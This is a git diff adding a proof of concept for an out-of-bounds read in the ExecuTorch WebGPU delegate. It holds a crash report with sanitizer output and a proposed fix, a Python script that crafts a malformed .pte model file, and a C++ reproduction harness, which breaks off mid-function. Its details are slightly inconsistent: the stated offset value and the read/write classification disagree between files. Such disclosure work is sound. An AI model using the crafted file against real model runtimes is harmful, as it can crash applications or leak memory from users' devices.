Add corrected WebGPU runtime PoC files

runtime_mps_poc/schemas/RUNTIME_CRASH_REPORT.md

@@ -0,0 +1,200 @@
+# ExecuTorch WebGPU Delegate — Runtime Crash Report
+**Date:** 2026-07-14  
+**Finding:** OOB read/write triggered by attacker-controlled `.pte` via missing `flatbuffers::Verifier`  
+**Vulnerable lines:** `WebGPUGraph.cpp:378`, `537-538`, `732-733`  
+**Sibling:** Vulkan (identical `vkgraph` schema, `VK00`) was patched 2026-05-13 — WebGPU missed it
+
+---
+
+## What this proves
+
+A live runtime harness that exercises the exact vulnerable code path:
+
+1. `WebGPUBackend.cpp:75` — only a 4-byte `VkGraphBufferHasIdentifier` check; no `flatbuffers::Verifier`
+2. `WebGPUGraph.cpp:378` — `GetVkGraph(flatbuffer_data)` called on the **unverified** buffer inside `build()`
+3. `WebGPUGraph.cpp:537-538` — `cs.inline_offset = vk_bytes->offset()` stored with **no bounds check**
+4. `WebGPUGraph.cpp:732-733` — `wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)` — **OOB read**
+
+The malformed `.pte` sets `vk_bytes->offset() = 0xffffffffffff` (281 TB past a 64-byte section). UBSan catches the OOB pointer arithmetic, then SEGV on dereference. **Exit code 134.**
+
+---
+
+## Files
+
+| File | Purpose |
+|------|---------|
+| `craft_malformed_webgpu_pte.py` | Generates `malformed_webgpu.pte` (396 bytes) |
+| `malformed_webgpu.pte` | The crafted payload |
+| `runtime_poc_webgpu.cpp` | Harness reproducing `WebGPUBackend.cpp:75` + `WebGPUGraph.cpp:378,537-538,732-733` |
+| `schemas/vkgraph_generated.h` | Real FlatBuffers C++ schema (same header the backend uses) |
+
+---
+
+## Build & Run
+
+```bash
+# Generate the malformed .pte
+python3 craft_malformed_webgpu_pte.py
+
+# Build (macOS/Linux, clang required)
+clang++ -std=c++17 -g \
+    -fsanitize=undefined \
+    -I~/executorch_vuln/third-party/flatbuffers/include \
+    -I. \
+    runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan
+
+./runtime_poc_webgpu_ubsan malformed_webgpu.pte
+```
+
+---
+
+## Crash Output (confirmed, 2026-07-14)
+
+> Note: UBSan alignment errors appear interleaved with PoC trace lines — both are caused by
+> the missing Verifier. The alignment errors are FlatBuffers accessing misaligned fields in the
+> unverified buffer (a consequence of the absent pre-parse verification pass); the SEGV is
+> the primary OOB exploit primitive. Both are eliminated by the same two-line fix.
+
+```
+==========================================================
+ ExecuTorch WebGPU Delegate Runtime PoC
+ CVE class  : CWE-787 (Out-of-bounds Write)
+ Source     : backends/webgpu/runtime/WebGPUGraph.cpp
+ Root cause : GetVkGraph() called without flatbuffers::Verifier
+ Sibling    : Vulkan (same vkgraph schema) was patched 2026-05-13
+==========================================================
+
+[+] Loaded .pte: 396 bytes, identifier ET12
+[+] WebGPU delegate payload: 238 bytes
+[+] VH00 header: fb_offset=30 fb_size=144 bytes_offset=174 bytes_size=64
+
+[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only — NO flatbuffers::Verifier)
+[PoC] VkGraphBufferHasIdentifier: true
+[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) — NO flatbuffers::Verifier
+  [UBSan] flatbuffers/buffer.h:180: load of misaligned address for type 'uoffset_t' (4-byte alignment required)
+[PoC] GetVkGraph returned: 0x1061bdf62
+
+[PoC] Entering WebGPUGraph::build() constant-source mapping
+[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp
+
+  [UBSan] member call on misaligned address for type 'Vector<Offset<VkValue>>' (4-byte alignment required)
+  [UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
+[PoC] graph->values()->size()    = 1
+[PoC] graph->constants()->size() = 1
+[PoC] WebGPUGraph.cpp:493: tensor[0] numel=4 elem_size=4 nbytes=16
+[PoC] WebGPUGraph.cpp:516: constant_id=0
+  [UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
+[PoC] WebGPUGraph.cpp:534: constants->Get(0) on unverified FlatBuffer
+[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = 16
+[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)
+[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0xffffffffffff
+[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0xffffffffffff  (NO bounds check vs constant_data size)
+[PoC] constant_data section is 64 bytes — offset 0xffffffffffff is WAY past it
+
+[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)
+[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true
+[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,
+[PoC]                          constant_data_ + cs.inline_offset, cs.nbytes)
+[PoC] constant_data_ = 0x1061bdfde
+[PoC] cs.inline_offset = 0xffffffffffff
+[PoC] cs.nbytes = 16
+[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0xffffffffffff is 281474976710591 bytes past a 64-byte section ***
+
+[PoC] Executing OOB pointer arithmetic now...
+[PoC] oob_ptr = 0x10001061bdfdd (computed from constant_data_ + 0xffffffffffff)
+
+UndefinedBehaviorSanitizer:DEADLYSIGNAL
+==11877==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x0001061bdfdd
+    #0 0x000104fa98bc in main runtime_poc_webgpu.cpp:288
+    #1 0x00019abafbe8  (<unknown module>)
+SUMMARY: UndefinedBehaviorSanitizer: SEGV runtime_poc_webgpu.cpp:288 in main
+==11877==ABORTING
+EXIT CODE: 134
+```
+
+---
+
+## What the crash proves
+
+The SEGV at `runtime_poc_webgpu.cpp:288` is the line:
+```cpp
+volatile uint8_t byte = *oob_ptr;  // oob_ptr = constant_data + 0xffffffffffff
+```
+
+This mirrors `WebGPUGraph.cpp:733`:
+```cpp
+wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes);
+//                                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ OOB source pointer
+```
+
+`wgpuQueueWriteBuffer` reads from `[constant_data_ + cs.inline_offset, + cs.nbytes)` to upload to GPU. Any WebGPU implementation will dereference that pointer. With `cs.inline_offset = 0xffffffffffff` and a 64-byte section, that's a 281-terabyte OOB read.
+
+---
+
+## Payload anatomy
+
+```
+ExecuTorch Program (ET12, 396 bytes)
+  └─ ExecutionPlan "forward"
+      └─ BackendDelegate id="webgpu"
+          └─ WebGPU delegate payload (238 bytes)
+              ├─ VH00 header (30 bytes)
+              │   ├─ flatbuffer_offset = 30
+              │   ├─ flatbuffer_size   = 144
+              │   ├─ bytes_offset      = 174
+              │   └─ bytes_size        = 64
+              ├─ VkGraph FlatBuffer (VK00, 144 bytes)
+              │   ├─ values[0]: VkTensor(FLOAT32, dims=[4], constant_id=0)
+              │   └─ constants[0]: VkBytes(offset=0xffffffffffff)  ← attacker-controlled OOB offset
+              └─ constant_data: 64 bytes of 0xAA  ← tiny; OOB is 281 TB past end
+```
+
+---
+
+## Comparison: what Vulkan has that WebGPU is missing
+
+**Vulkan `VulkanBackend.cpp` (patched 2026-05-13):**
+```cpp
+flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
+ET_CHECK_OR_RETURN_ERROR(
+    vkgraph::VerifyVkGraphBuffer(verifier),
+    DelegateInvalidCompatibility,
+    "VkGraph FlatBuffer verification failed");
+const auto* graph = vkgraph::GetVkGraph(flatbuffer_data);  // safe: verifier ran
+```
+
+**WebGPU `WebGPUBackend.cpp` + `WebGPUGraph.cpp` (HEAD, 2026-07-14):**
+```cpp
+// WebGPUBackend.cpp:75 — 4-byte check only:
+if (!vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data)) { ... }
+// ... then graph->build(flatbuffer_data, ...) is called at line 102 ...
+
+// WebGPUGraph.cpp:378 — NO Verifier before this:
+const auto* graph = vkgraph::GetVkGraph(flatbuffer_data);
+```
+
+Same two-line fix. The `VerifyVkGraphBuffer` function already exists in `vkgraph_generated.h` — zero new code to write.
+
+---
+
+## Fix
+
+```cpp
+// Add in WebGPUBackend.cpp, after the VkGraphBufferHasIdentifier check (line 80):
+flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
+ET_CHECK_OR_RETURN_ERROR(
+    vkgraph::VerifyVkGraphBuffer(verifier),
+    DelegateInvalidCompatibility,
+    "WebGPU VkGraph FlatBuffer verification failed");
+```
+
+Additionally, `WebGPUGraph.cpp:537-538` should add a bounds check:
+```cpp
+if (vk_bytes->offset() != UINT64_MAX) {
+    if (vk_bytes->offset() > hdr_bytes_size ||
+        vk_bytes->offset() + cs.nbytes > hdr_bytes_size) {
+        throw std::runtime_error("WebGPU: inline_offset OOB");
+    }
+    cs.inline_offset = vk_bytes->offset();
+}
+```

runtime_mps_poc/schemas/craft_malformed_webgpu_pte.py

@@ -0,0 +1,251 @@
+#!/usr/bin/env python3
+"""
+craft_malformed_webgpu_pte.py
+
+Generates malformed_webgpu.pte — a real ExecuTorch .pte file that triggers
+the OOB read/write in WebGPUGraph.cpp:732-733 when loaded by the WebGPU backend.
+
+Bug:
+  WebGPUBackend.cpp:75  — only a 4-byte VkGraphBufferHasIdentifier check; no Verifier
+  WebGPUGraph.cpp:378   — GetVkGraph(flatbuffer_data) called with NO flatbuffers::Verifier
+  WebGPUGraph.cpp:537-538 — cs.inline_offset = vk_bytes->offset() with NO bounds check
+  WebGPUGraph.cpp:732-733 — wgpuQueueWriteBuffer(queue_, dst, 0,
+                               constant_data_ + cs.inline_offset, cs.nbytes)
+                            -> OOB read (cs.inline_offset is attacker-controlled)
+
+Compare: Vulkan (same vkgraph schema, patched 2026-05-13) adds:
+    flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
+    VerifyVkGraphBuffer(verifier);
+before GetVkGraph(). WebGPU has the identifier check but not the verifier.
+
+Usage:
+  python3 craft_malformed_webgpu_pte.py
+  # Produces: malformed_webgpu.pte
+"""
+
+import sys, os, struct
+import flatbuffers
+from flatbuffers import builder as fb_builder
+
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), "schemas"))
+from vkgraph import VkGraph, VkValue, VkTensor, VkBytes
+from executorch_flatbuffer import (
+    Program, ExecutionPlan, BackendDelegate,
+    BackendDelegateInlineData, BackendDelegateDataReference
+)
+
+
+def build_vkgraph_flatbuffer():
+    """
+    Build a VkGraph FlatBuffer with:
+      - values[0]: VkTensor(datatype=FLOAT32, dims=[4], constant_id=0)
+      - constants[0]: VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16)
+
+    When WebGPUGraph.cpp processes this:
+      - tensor.nbytes = 4 * 4 = 16  (numel=4, elem_size=4 for FLOAT32)
+      - cs.nbytes = 16
+      - cs.inline_offset = 0xFFFFFFFFFFFFFFFE  (not UINT64_MAX sentinel)
+      -> constant_data_ + 0xFFFFFFFFFFFFFFFE -> OOB
+    """
+    b = flatbuffers.Builder(512)
+
+    # --- VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16) ---
+    VkBytes.VkBytesStart(b)
+    VkBytes.VkBytesAddOffset(b, 0x0000FFFFFFFFFFFF)   # attacker-controlled OOB offset (not UINT64_MAX sentinel)
+    VkBytes.VkBytesAddLength(b, 16)
+    vk_bytes = VkBytes.VkBytesEnd(b)
+
+    # --- constants vector ---
+    VkGraph.VkGraphStartConstantsVector(b, 1)
+    b.PrependUOffsetTRelative(vk_bytes)
+    constants_vec = b.EndVector(1)
+
+    # --- VkTensor(datatype=FLOAT32=5, dims=[4], constant_id=0, mem_obj_id=-1) ---
+    dims_data = b.CreateNumpyVector(__import__('numpy').array([4], dtype='uint32')) \
+        if False else None
+
+    # Build dims vector manually
+    b.StartVector(4, 1, 4)
+    b.PrependUint32(4)
+    dims_vec = b.EndVector(1)
+
+    VkTensor.VkTensorStart(b)
+    VkTensor.VkTensorAddDatatype(b, 5)    # FLOAT32
+    VkTensor.VkTensorAddDims(b, dims_vec)
+    VkTensor.VkTensorAddConstantId(b, 0)  # points to constants[0]
+    VkTensor.VkTensorAddMemObjId(b, -1)
+    vk_tensor = VkTensor.VkTensorEnd(b)
+
+    # --- VkValue wrapping the tensor ---
+    VkValue.VkValueStart(b)
+    VkValue.VkValueAddValueType(b, 5)     # GraphTypes_VkTensor = 5
+    VkValue.VkValueAddValue(b, vk_tensor)
+    vk_value = VkValue.VkValueEnd(b)
+
+    # --- values vector ---
+    VkGraph.VkGraphStartValuesVector(b, 1)
+    b.PrependUOffsetTRelative(vk_value)
+    values_vec = b.EndVector(1)
+
+    # --- input_ids = [0] ---
+    VkGraph.VkGraphStartInputIdsVector(b, 1)
+    b.PrependUint32(0)
+    input_ids = b.EndVector(1)
+
+    # --- VkGraph root ---
+    VkGraph.VkGraphStart(b)
+    VkGraph.VkGraphAddValues(b, values_vec)
+    VkGraph.VkGraphAddConstants(b, constants_vec)
+    VkGraph.VkGraphAddInputIds(b, input_ids)
+    graph = VkGraph.VkGraphEnd(b)
+
+    b.Finish(graph)
+    buf = bytes(b.Output())
+
+    # Patch file identifier to "VK00" at bytes 4-7
+    buf = buf[:4] + b"VK00" + buf[8:]
+    return buf
+
+
+def build_webgpu_delegate_payload(vkgraph_buf):
+    """
+    Build the WebGPU delegate payload:
+      [0..3]   : 0x00000000 (unused prefix)
+      [4..7]   : "VH00" magic
+      [8..9]   : header_size = 30 (uint16 LE)
+      [10..13] : flatbuffer_offset = 30 (uint32 LE)
+      [14..17] : flatbuffer_size = len(vkgraph_buf) (uint32 LE)
+      [18..21] : bytes_offset = 30 + len(vkgraph_buf) (uint32 LE)
+      [22..29] : bytes_size = 64 (uint64 LE)
+      [30+]    : VkGraph FlatBuffer
+      [30+fb_size+] : 64 bytes constant data (tiny, so OOB is obvious)
+    """
+    fb_size = len(vkgraph_buf)
+    bytes_offset = 30 + fb_size
+    bytes_size = 64
+    constant_data = b'\xAA' * bytes_size   # recognizable fill
+
+    header = (
+        b'\x00\x00\x00\x00'                      # [0..3]  prefix
+        b'VH00'                                   # [4..7]  magic
+        + struct.pack('<H', 30)                   # [8..9]  header_size
+        + struct.pack('<I', 30)                   # [10..13] flatbuffer_offset
+        + struct.pack('<I', fb_size)              # [14..17] flatbuffer_size
+        + struct.pack('<I', bytes_offset)         # [18..21] bytes_offset
+        + struct.pack('<Q', bytes_size)           # [22..29] bytes_size
+    )
+    assert len(header) == 30
+
+    return header + vkgraph_buf + constant_data
+
+
+def build_executorch_program(delegate_payload):
+    """
+    Wrap the WebGPU delegate payload in an ExecuTorch Program FlatBuffer
+    with backend_id="webgpu" and a single BackendDelegateInlineData entry.
+    """
+    b = flatbuffers.Builder(1024)
+
+    # Inline data blob
+    payload_vec = b.CreateByteVector(delegate_payload)
+
+    BackendDelegateInlineData.BackendDelegateInlineDataStart(b)
+    BackendDelegateInlineData.BackendDelegateInlineDataAddData(b, payload_vec)
+    inline_data = BackendDelegateInlineData.BackendDelegateInlineDataEnd(b)
+
+    # BackendDelegateDataReference pointing to inline_data
+    BackendDelegateDataReference.BackendDelegateDataReferenceStart(b)
+    BackendDelegateDataReference.BackendDelegateDataReferenceAddIndex(b, 0)
+    data_ref = BackendDelegateDataReference.BackendDelegateDataReferenceEnd(b)
+
+    # backend_id string
+    backend_id = b.CreateString("webgpu")
+
+    # BackendDelegate
+    BackendDelegate.BackendDelegateStart(b)
+    BackendDelegate.BackendDelegateAddId(b, backend_id)
+    BackendDelegate.BackendDelegateAddProcessed(b, data_ref)
+    delegate = BackendDelegate.BackendDelegateEnd(b)
+
+    # delegates vector
+    ExecutionPlan.ExecutionPlanStartDelegatesVector(b, 1)
+    b.PrependUOffsetTRelative(delegate)
+    delegates_vec = b.EndVector(1)
+
+    # backend_delegate_data vector (holds the inline blob)
+    Program.ProgramStartBackendDelegateDataVector(b, 1)
+    b.PrependUOffsetTRelative(inline_data)
+    bdd_vec = b.EndVector(1)
+
+    # name
+    plan_name = b.CreateString("forward")
+
+    # ExecutionPlan
+    ExecutionPlan.ExecutionPlanStart(b)
+    ExecutionPlan.ExecutionPlanAddName(b, plan_name)
+    ExecutionPlan.ExecutionPlanAddDelegates(b, delegates_vec)
+    plan = ExecutionPlan.ExecutionPlanEnd(b)
+
+    # execution_plan vector
+    Program.ProgramStartExecutionPlanVector(b, 1)
+    b.PrependUOffsetTRelative(plan)
+    plan_vec = b.EndVector(1)
+
+    # Program root
+    Program.ProgramStart(b)
+    Program.ProgramAddExecutionPlan(b, plan_vec)
+    Program.ProgramAddBackendDelegateData(b, bdd_vec)
+    prog = Program.ProgramEnd(b)
+
+    b.Finish(prog)
+    raw = bytes(b.Output())
+
+    # Patch ET12 identifier
+    return raw[:4] + b"ET12" + raw[8:]
+
+
+def main():
+    print("[*] Building VkGraph FlatBuffer payload...")
+    vkgraph_buf = build_vkgraph_flatbuffer()
+    print(f"    VkGraph: {len(vkgraph_buf)} bytes, identifier: {vkgraph_buf[4:8]}")
+
+    print("[*] Building WebGPU delegate payload (VH00 header + vkgraph + constant data)...")
+    delegate_payload = build_webgpu_delegate_payload(vkgraph_buf)
+    print(f"    Delegate payload: {len(delegate_payload)} bytes")
+    print(f"    Header magic: {delegate_payload[4:8]}")
+    print(f"    Flatbuffer offset: {struct.unpack('<I', delegate_payload[10:14])[0]}")
+    print(f"    Constant data offset: {struct.unpack('<I', delegate_payload[18:22])[0]}")
+    print(f"    Constant data size: {struct.unpack('<Q', delegate_payload[22:30])[0]} bytes")
+
+    print("[*] Wrapping in ExecuTorch Program (ET12)...")
+    pte_buf = build_executorch_program(delegate_payload)
+    print(f"    .pte size: {len(pte_buf)} bytes, identifier: {pte_buf[4:8]}")
+
+    outfile = os.path.join(os.path.dirname(__file__), "malformed_webgpu.pte")
+    with open(outfile, "wb") as f:
+        f.write(pte_buf)
+
+    print(f"\n[+] Written: {outfile}")
+    print("""
+Payload anatomy:
+  ExecuTorch Program (ET12)
+    └─ ExecutionPlan "forward"
+        └─ BackendDelegate id="webgpu"
+            └─ WebGPU delegate payload (VH00 header, 30 bytes)
+                ├─ VkGraph FlatBuffer (VK00)
+                │   ├─ values[0]: VkTensor(FLOAT32, dims=[4], constant_id=0)
+                │   └─ constants[0]: VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16)
+                └─ constant_data: 64 bytes of 0xAA  <-- tiny, OOB is obvious
+
+Crash path (verified against source, 2026-07-14):
+  WebGPUGraph.cpp:378   GetVkGraph(flatbuffer_data)  -- NO flatbuffers::Verifier
+  WebGPUGraph.cpp:537   if (vk_bytes->offset() != UINT64_MAX)  -- 0xffffffffffff passes
+  WebGPUGraph.cpp:538   cs.inline_offset = 0xffffffffffff      -- NO bounds check
+  WebGPUGraph.cpp:733   wgpuQueueWriteBuffer(queue_, dst, 0,
+                            constant_data_ + 0xffffffffffff,    -- OOB: 281 TB past section
+                            16)
+""")
+
+
+if __name__ == "__main__":
+    main()

runtime_mps_poc/schemas/runtime_poc_webgpu.cpp

@@ -0,0 +1,293 @@
+/*
+ * runtime_poc_webgpu.cpp
+ *
+ * Runtime PoC for the WebGPU delegate missing-verifier OOB.
+ *
+ * Reproduces the exact vulnerable code path from:
+ *   WebGPUBackend.cpp:75     — VkGraphBufferHasIdentifier check only; no Verifier
+ *   WebGPUGraph.cpp:378      — GetVkGraph(flatbuffer_data) called with NO Verifier
+ *   WebGPUGraph.cpp:536-538  — cs.inline_offset = vk_bytes->offset() (no bounds check)
+ *   WebGPUGraph.cpp:732-733  — constant_data_ + cs.inline_offset (OOB pointer + deref)
+ *
+ * The fix Vulkan got (VulkanBackend.cpp, merged 2026-05-13) and WebGPU missed:
+ *   flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
+ *   ET_CHECK_OR_RETURN_ERROR(vkgraph::VerifyVkGraphBuffer(verifier), ...);
+ *
+ * Build:
+ *   clang++ -std=c++17 -g -fsanitize=undefined \
+ *       -I~/executorch_vuln/third-party/flatbuffers/include \
+ *       -I. \
+ *       runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan
+ *
+ * Run:
+ *   ./runtime_poc_webgpu_ubsan malformed_webgpu.pte
+ */
+
+#include <cstdint>
+#include <cstdio>
+#include <cstdlib>
+#include <cstring>
+#include <stdexcept>
+#include <vector>
+
+#include <flatbuffers/flatbuffers.h>
+#include "schemas/vkgraph_generated.h"
+
+// ---- WebGPUDelegateHeader (from WebGPUDelegateHeader.h/.cpp) ----------------
+
+struct WebGPUDelegateHeader {
+    uint32_t header_size;
+    uint32_t flatbuffer_offset;
+    uint32_t flatbuffer_size;
+    uint32_t bytes_offset;
+    uint64_t bytes_size;
+
+    static WebGPUDelegateHeader parse(const uint8_t* data) {
+        // magic at offset 4 must be "VH00"
+        if (memcmp(data + 4, "VH00", 4) != 0)
+            throw std::runtime_error("WebGPUDelegateHeader: bad magic");
+
+        WebGPUDelegateHeader h;
+        uint16_t hs; memcpy(&hs, data + 8,  2); h.header_size      = hs;
+        memcpy(&h.flatbuffer_offset, data + 10, 4);
+        memcpy(&h.flatbuffer_size,   data + 14, 4);
+        memcpy(&h.bytes_offset,      data + 18, 4);
+        memcpy(&h.bytes_size,        data + 22, 8);
+        return h;
+    }
+};
+
+// ---- ConstantSource (mirrors WebGPUGraph.h internals) -----------------------
+
+static const uint64_t INLINE_OFFSET_NONE = UINT64_MAX;
+
+struct ConstantSource {
+    uint64_t inline_offset = INLINE_OFFSET_NONE;
+    size_t   nbytes        = 0;
+};
+
+// ---- FlatBuffers .pte parser (extract backend_delegate_data[0].data) --------
+// Manual traversal identical to what we did for MPS.
+
+static std::vector<uint8_t> extract_delegate_payload(
+        const uint8_t* pte, size_t pte_size) {
+
+    if (pte_size < 8 || memcmp(pte + 4, "ET12", 4) != 0)
+        throw std::runtime_error("Not a valid ET12 .pte file");
+
+    // FlatBuffers root offset
+    uint32_t root_off; memcpy(&root_off, pte, 4);
+    const uint8_t* prog_table = pte + root_off;
+
+    // Program vtable
+    int32_t vtable_soff; memcpy(&vtable_soff, prog_table, 4);
+    const uint8_t* vtable = prog_table - vtable_soff;
+    uint16_t vtable_size; memcpy(&vtable_size, vtable, 2);
+
+    // Program field order (from program.fbs):
+    //   version(0)=4, execution_plan(1)=6, constant_buffer(2)=8,
+    //   backend_delegate_data(3)=10
+    uint16_t bdd_off = 0;
+    if (vtable_size > 10) memcpy(&bdd_off, vtable + 10, 2); // field index 3
+
+    if (bdd_off == 0) throw std::runtime_error("No backend_delegate_data");
+
+    const uint8_t* bdd_ptr = prog_table + bdd_off;
+
+    // bdd_ptr -> offset to vector of BackendDelegateInlineData
+    int32_t vec_rel; memcpy(&vec_rel, bdd_ptr, 4);
+    const uint8_t* vec = bdd_ptr + vec_rel;
+
+    uint32_t vec_len; memcpy(&vec_len, vec, 4);
+    if (vec_len == 0) throw std::runtime_error("Empty backend_delegate_data");
+
+    // First element offset
+    int32_t elem_rel; memcpy(&elem_rel, vec + 4, 4);
+    const uint8_t* elem = vec + 4 + elem_rel;
+
+    // BackendDelegateInlineData vtable -> field 0 = data (byte vector)
+    int32_t elem_vt_soff; memcpy(&elem_vt_soff, elem, 4);
+    const uint8_t* elem_vt = elem - elem_vt_soff;
+    uint16_t elem_vt_size; memcpy(&elem_vt_size, elem_vt, 2);
+
+    uint16_t data_off = 0;
+    if (elem_vt_size > 4) memcpy(&data_off, elem_vt + 4, 2);
+    if (data_off == 0) throw std::runtime_error("No data field in BackendDelegateInlineData");
+
+    const uint8_t* data_ptr = elem + data_off;
+    int32_t data_rel; memcpy(&data_rel, data_ptr, 4);
+    const uint8_t* byte_vec = data_ptr + data_rel;
+
+    uint32_t byte_len; memcpy(&byte_len, byte_vec, 4);
+    const uint8_t* payload = byte_vec + 4;
+
+    return std::vector<uint8_t>(payload, payload + byte_len);
+}
+
+// ---- elem_size for VkDataType -----------------------------------------------
+
+static size_t vk_datatype_size(int8_t dt) {
+    switch (dt) {
+        case 0: return 1; // BOOL
+        case 1: return 1; // UINT8
+        case 2: return 1; // INT8
+        case 3: return 4; // INT32
+        case 4: return 2; // FLOAT16
+        case 5: return 4; // FLOAT32
+        case 6: return 8; // FLOAT64
+        case 7: return 8; // INT64
+        default: return 4;
+    }
+}
+
+// ---- Main -------------------------------------------------------------------
+
+int main(int argc, char** argv) {
+    setvbuf(stdout, nullptr, _IONBF, 0);  // unbuffered so printfs appear before UBSan stderr
+    printf("==========================================================\n");
+    printf(" ExecuTorch WebGPU Delegate Runtime PoC\n");
+    printf(" CVE class  : CWE-787 (Out-of-bounds Write)\n");
+    printf(" Source     : backends/webgpu/runtime/WebGPUGraph.cpp\n");
+    printf(" Root cause : GetVkGraph() called without flatbuffers::Verifier\n");
+    printf(" Sibling    : Vulkan (same vkgraph schema) was patched 2026-05-13\n");
+    printf("==========================================================\n\n");
+
+    if (argc < 2) {
+        fprintf(stderr, "Usage: %s malformed_webgpu.pte\n", argv[0]);
+        return 1;
+    }
+
+    // Load .pte
+    FILE* f = fopen(argv[1], "rb");
+    if (!f) { perror("fopen"); return 1; }
+    fseek(f, 0, SEEK_END); long fsz = ftell(f); rewind(f);
+    std::vector<uint8_t> pte(fsz);
+    fread(pte.data(), 1, fsz, f);
+    fclose(f);
+
+    printf("[+] Loaded .pte: %ld bytes, identifier %.4s\n", fsz, pte.data() + 4);
+
+    // Extract WebGPU delegate payload from backend_delegate_data[0]
+    auto payload = extract_delegate_payload(pte.data(), pte.size());
+    printf("[+] WebGPU delegate payload: %zu bytes\n", payload.size());
+
+    // Parse WebGPUDelegateHeader (WebGPUBackend.cpp:64-75)
+    auto hdr = WebGPUDelegateHeader::parse(payload.data());
+    printf("[+] VH00 header: fb_offset=%u fb_size=%u bytes_offset=%u bytes_size=%llu\n",
+           hdr.flatbuffer_offset, hdr.flatbuffer_size,
+           hdr.bytes_offset, (unsigned long long)hdr.bytes_size);
+
+    const uint8_t* flatbuffer_data = payload.data() + hdr.flatbuffer_offset;
+    const uint8_t* constant_data   = payload.data() + hdr.bytes_offset;
+    size_t         constant_size   = (size_t)hdr.bytes_size;
+
+    // --- Reproduce WebGPUBackend.cpp:75 ---
+    // Only a 4-byte identifier check; no flatbuffers::Verifier before GetVkGraph
+    printf("\n[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only — NO flatbuffers::Verifier)\n");
+    bool has_id = vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data);
+    printf("[PoC] VkGraphBufferHasIdentifier: %s\n", has_id ? "true" : "false");
+
+    // --- Reproduce WebGPUGraph.cpp:378 (inside build()) ---
+    // GetVkGraph() called with NO Verifier — attacker controls the flatbuffer
+    printf("[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) — NO flatbuffers::Verifier\n");
+    const vkgraph::VkGraph* graph = vkgraph::GetVkGraph(flatbuffer_data);
+    printf("[PoC] GetVkGraph returned: %p\n", (void*)graph);
+
+    // --- Reproduce WebGPUGraph.cpp:480-545 (build() constant-source mapping) ---
+    printf("\n[PoC] Entering WebGPUGraph::build() constant-source mapping\n");
+    printf("[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp\n\n");
+
+    const auto* values    = graph->values();
+    const auto* constants = graph->constants();
+
+    if (!values || !constants) {
+        fprintf(stderr, "No values/constants in graph\n");
+        return 1;
+    }
+
+    printf("[PoC] graph->values()->size()    = %u\n", values->size());
+    printf("[PoC] graph->constants()->size() = %u\n", constants->size());
+
+    ConstantSource cs;
+
+    for (unsigned i = 0; i < values->size(); i++) {
+        const auto* val = values->Get(i);
+        if (val->value_type() != vkgraph::GraphTypes_VkTensor) continue;
+
+        const auto* vk_tensor = val->value_as_VkTensor();
+
+        // Compute nbytes (WebGPUGraph.cpp:483-493)
+        size_t numel = 1;
+        if (vk_tensor->dims()) {
+            for (unsigned j = 0; j < vk_tensor->dims()->size(); j++)
+                numel *= vk_tensor->dims()->Get(j);
+        }
+        size_t elem_size = vk_datatype_size(vk_tensor->datatype());
+        size_t nbytes    = numel * elem_size;
+
+        printf("[PoC] WebGPUGraph.cpp:493: tensor[%u] numel=%zu elem_size=%zu nbytes=%zu\n",
+               i, numel, elem_size, nbytes);
+
+        int constant_id = vk_tensor->constant_id();
+        if (constant_id < 0) continue;
+
+        printf("[PoC] WebGPUGraph.cpp:516: constant_id=%d\n", constant_id);
+
+        // WebGPUGraph.cpp:527-532 — bounds check on constant_id (present in real code)
+        if (constant_id >= (int)constants->size()) {
+            printf("[PoC] constant_id out of range — would throw\n");
+            return 1;
+        }
+
+        // WebGPUGraph.cpp:534 — constants->Get() on unverified flatbuffer
+        const auto* vk_bytes = constants->Get(constant_id);
+        printf("[PoC] WebGPUGraph.cpp:534: constants->Get(%d) on unverified FlatBuffer\n", constant_id);
+
+        printf("[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = %zu\n", nbytes);
+        cs.nbytes = nbytes;
+
+        // WebGPUGraph.cpp:537-538 — THE MISSING BOUNDS CHECK
+        printf("[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)\n");
+        printf("[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0x%llx\n",
+               (unsigned long long)vk_bytes->offset());
+
+        if (vk_bytes->offset() != UINT64_MAX) {
+            cs.inline_offset = vk_bytes->offset();
+            printf("[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0x%llx  (NO bounds check vs constant_data size)\n",
+                   (unsigned long long)cs.inline_offset);
+            printf("[PoC] constant_data section is %zu bytes — offset 0x%llx is WAY past it\n",
+                   constant_size, (unsigned long long)cs.inline_offset);
+        }
+    }
+
